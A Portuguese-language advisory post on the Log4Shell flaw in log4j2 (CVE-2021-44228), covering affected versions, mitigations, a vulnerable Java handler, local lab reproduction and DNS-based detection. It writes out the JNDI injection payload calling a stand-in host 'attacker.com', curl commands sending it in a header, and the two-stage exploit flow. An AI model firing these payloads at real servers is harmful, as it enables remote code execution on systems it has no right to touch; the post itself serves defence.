Log4Shell: exploração RCE de 0 dia encontrada m log4j2, um pacote de registro Java popular

Algumas horas atrás, um exploit de dia 0 na popular biblioteca de log Java log4j2foi descoberto e resulta em Remote Code Execution (RCE) registrando uma determinada string.

Dada a onipresença dessa biblioteca, o impacto da exploração (controle total do servidor) e a facilidade de exploração, o impacto dessa vulnerabilidade é bastante grave. Estamos chamando de “Log4Shell” para breve.

O dia 0 foi tweetado junto com um POC postado no GitHub . Como essa vulnerabilidade ainda é muito nova, não há um CVE para rastreá-la ainda.Este foi publicado como CVE-2021-44228 .

Esta postagem fornece recursos para ajudá-lo a entender a vulnerabilidade e como mitigá-la por si mesmo.

Quem é afetado?

Muitos, muitos serviços são vulneráveis a essa exploração. Serviços em nuvem como Steam, Apple iCloud e aplicativos como Minecraft já foram considerados vulneráveis.

Qualquer pessoa que use o Apache Struts está provavelmente vulnerável. Já vimos vulnerabilidades semelhantes exploradas antes em violações como a violação de dados da Equifax em 2017 .

Muitos projetos de código aberto, como o servidor do Minecraft Paper , já começaram a corrigir o uso do log4j2.

Foi demonstrado que a simples mudança do nome de um iPhone desencadeia a vulnerabilidade nos servidores da Apple.

Atualizações (3 horas após a postagem): De acordo com este post (ver tradução ), versões do JDK superior 6u211, 7u201, 8u191, e 11.0.1não são afetados pelo vetor de ataque LDAP. Nessas versões com.sun.jndi.ldap.object.trustURLCodebaseestá definido como falsesignificando JNDI não pode carregar código remoto usando LDAP.

No entanto, existem outros vetores de ataque que visam essa vulnerabilidade que podem resultar em RCE. Um invasor ainda pode aproveitar o código existente no servidor para executar uma carga útil. Um ataque direcionado à classe org.apache.naming.factory.BeanFactory, presente nos servidores Apache Tomcat, é discutido nesta postagem do blog .

Afetadas Versões log4j2 Apache

2.0 <= Apache log4j <= 2.14.1

Mitigação permanente

A versão 2.15.0 do log4j foi lançada sem a vulnerabilidade. log4j-core.jar está disponível no Maven Central aqui , com [ notas de lançamento ] e [ anúncios de segurança log4j ].

O lançamento também pode ser descarregado a partir do Apache Log4j Baixar página.

temporária Mitigação

De acordo com esta discussão no HackerNews :

A propriedade ‘formatMsgNoLookups’ foi adicionada na versão 2.10.0, conforme JIRA Issue LOG4J2-2109 [1] que a propôs. Portanto, a estratégia de mitigação ‘formatMsgNoLookups = true’ está disponível na versão 2.10.0 e superior, mas não é mais necessária na versão 2.15.0, porque se torna o comportamento padrão [2] [3] .

Se você estiver usando uma versão anterior a 2.10.0 e não puder atualizar, suas opções de mitigação são:

• Modifique cada layout de padrão de registro para dizer em %m{nolookups}vez de %mem seus arquivos de configuração de registro, consulte os detalhes em https://issues.apache.org/jira/browse/LOG4J2-2109 ou,

• Substitua uma implementação não vulnerável ou vazia da classe org.apache.logging.log4j.core.lookup.JndiLookup, de forma que seu carregador de classe use sua substituição em vez da versão vulnerável da classe. Consulte a documentação de carregamento de classe de seu aplicativo ou pilha para entender esse comportamento.

Como a obras exploram

exploit Requisitos

• Um servidor com uma log4jversão vulnerável (listada acima),
• um endpoint com qualquer protocolo (HTTP, TCP, etc) que permite que um invasor envie a string de exploração,
• e uma instrução de log que efetua logout da string dessa solicitação.

Exemplo código vulnerável

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:{}", userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

reproduzindo localmente

Se você deseja reproduzir essa vulnerabilidade localmente, pode consultar o aplicativo vulnerável de christophetd .

Em uma execução de terminal:

docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

e em outro:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'

os logs devem incluir uma mensagem de erro indicando que uma pesquisa remota foi tentada, mas falhou:

2021-12-10 17:14:56,207 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

exploit Passos

1. Os dados do usuário são enviados ao servidor (por meio de qualquer protocolo),
2. O servidor registra os dados na solicitação, contendo a carga maliciosa: ${jndi:ldap://attacker.com/a}(onde attacker.comestá um servidor controlado pelo invasor),
3. A log4jvulnerabilidade é acionada por esta carga útil e o servidor faz uma solicitação attacker.comvia “ Java Naming and Directory Interface ” (JNDI),
4. Esta resposta contém um caminho para um arquivo de classe Java remoto (ex. http://second-stage.attacker.com/Exploit.class) Que é injetado no processo do servidor,
5. Essa carga injetada dispara um segundo estágio e permite que um invasor execute código arbitrário.

Devido ao quão comuns são as vulnerabilidades do Java como essas, os pesquisadores de segurança criaram ferramentas para explorá-las facilmente. O projeto marshalsec é um dos muitos que demonstra a geração de uma carga útil de exploração que pode ser usada para esta vulnerabilidade. Você pode consultar este servidor LDAP malicioso para obter um exemplo de exploração.

Como identificar se o seu servidor é vulnerável.

Usando um registrador de DNS (como dnslog.cn ), você pode gerar um nome de domínio e usá-lo em seus payloads de teste:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'

Atualizar a página mostrará consultas DNS que identificam os hosts que acionaram a vulnerabilidade.